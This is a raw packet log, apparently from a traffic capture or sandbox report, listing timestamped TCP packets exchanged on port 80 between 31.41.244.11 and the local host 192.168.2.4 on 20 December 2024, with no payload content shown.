Dec 20, 2024 07:12:18.598351002 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.598412991 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.598453999 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.598498106 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.599519968 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.599570990 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.599621058 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.599663973 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.600702047 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.600750923 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.600794077 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.600840092 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.601880074 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.601933002 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.602225065 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.602272034 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.603009939 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.603061914 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.603102922 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.603142977 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.604176044 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.604227066 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.604264021 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.604307890 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.605319023 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.605364084 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.605434895 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.605474949 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.606550932 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.606595993 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.606657028 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.606695890 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.607670069 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.607717037 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.607784986 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.607825041 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.608819008 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.608866930 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.608923912 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.608966112 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.609966993 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.610009909 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.610155106 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.610200882 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.611124992 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.611167908 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.611236095 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.611278057 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.612298965 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.612344027 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.612390995 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.612431049 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.613447905 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.613491058 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.613562107 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.613600969 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.614629984 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.614674091 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.614732981 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.614775896 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.615765095 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.615808010 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.615884066 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.615928888 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.616950035 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.616996050 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.617067099 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.617106915 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.618098974 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.618155956 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.618192911 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.618236065 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.619276047 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.619327068 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.619379997 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.619422913 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.620454073 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.620512962 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.620527983 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.620568037 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.621591091 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.621644974 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.621689081 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.621732950 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.622755051 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.622805119 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.622858047 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.622900009 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.623941898 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.623991966 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.624090910 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.624135017 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.625087023 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.625134945 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.625197887 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.625242949 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.626260996 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.626310110 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.626357079 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.626395941 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.627393007 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.627439976 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.627511024 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.627548933 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.628571033 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.628619909 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.628643036 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.628695011 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.629755020 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.629805088 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.629847050 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.629889965 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.630887032 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.630932093 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.630995989 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.631040096 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.632044077 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.632097960 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.632170916 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.632213116 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.633203983 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.633254051 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.633450031 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.633496046 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.634387016 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.634512901 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.634545088 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.634568930 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.635552883 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.635607958 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.635652065 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.635699034 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.636709929 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.636758089 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.636818886 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.636859894 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.637878895 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.637922049 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.637953043 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.637993097 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.639040947 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.639081001 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.639184952 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.639225006 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.640189886 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.640233040 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.640305042 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.640347958 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.641360998 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.641402006 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.641446114 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.641486883 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.642520905 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.642566919 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.642618895 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.642657995 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.643675089 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.643713951 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.643771887 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.643814087 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.644846916 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.644889116 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.644946098 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.644987106 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.645998955 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.646039963 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.646120071 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.646161079 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.647160053 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.647207975 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.647269964 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.647319078 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.648341894 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.648385048 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.648557901 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.648601055 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.649492025 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.649539948 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.649590015 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.649640083 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.650830030 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.650876999 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.650954962 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.650998116 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.651829004 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.651875973 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.651961088 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.652003050 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.652971029 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.653012991 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.653090000 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.653134108 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.654150963 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.654194117 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.785654068 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.785708904 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.785968065 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.786019087 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.786195040 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.786237001 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.786324024 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.786452055 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.787364960 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.787442923 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.787482977 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.787523985 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.788527012 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.788579941 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.788614988 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.788655996 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.789663076 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.789710999 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.789791107 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.789834023 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.790858030 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.790923119 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.790965080 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.791012049 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.791990042 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.792112112 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.792119026 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.792155981 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.793148041 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.793198109 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.793275118 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.793317080 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.794323921 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.794373035 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.794424057 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.794466972 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.795476913 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.795523882 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.795605898 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.795661926 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.796667099 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.796710014 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.796752930 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.796794891 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.797795057 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.797883034 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.797910929 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.797954082 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.798990965 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.799036026 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.799086094 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.799129009 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.800126076 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.800170898 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.800240040 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.800291061 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.801275969 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.801326990 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.801346064 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.801388979 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.803158045 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.803212881 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.803289890 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.803333044 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.803644896 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.803689003 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.803755999 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.803800106 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.804783106 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.804835081 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.804902077 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.804950953 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.805941105 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.805994987 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.805999041 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.806046009 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.807101965 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.807151079 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.807220936 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.807267904 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.814503908 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.814559937 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.814582109 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.814590931 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.814608097 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.814640045 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.814651012 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.814668894 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.814686060 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.814698935 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.814709902 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.814729929 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.814745903 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.814765930 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.814851046 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.814865112 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.814877987 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.814893007 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.814901114 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.814903975 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.814935923 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.814961910 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.815277100 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.815336943 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.815439939 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.815491915 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.816426992 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.816477060 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.816545963 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.816591024 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.817622900 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.817687035 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.818722963 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.818834066 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.819911003 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.820019960 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.820092916 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.821080923 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.821163893 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.821206093 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.822299004 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.822346926 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.822419882 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.822468042 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.823373079 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.823426962 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.823479891 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.823520899 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.824557066 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.824626923 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.824662924 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.824719906 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.825710058 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.825769901 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.825845003 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.825891972 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.826845884 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.826904058 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.826961040 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.827013016 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.828031063 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.828084946 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.828146935 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.828196049 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.829236031 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.829289913 CET	49777	80	192.168.2.4	31.41.244.11
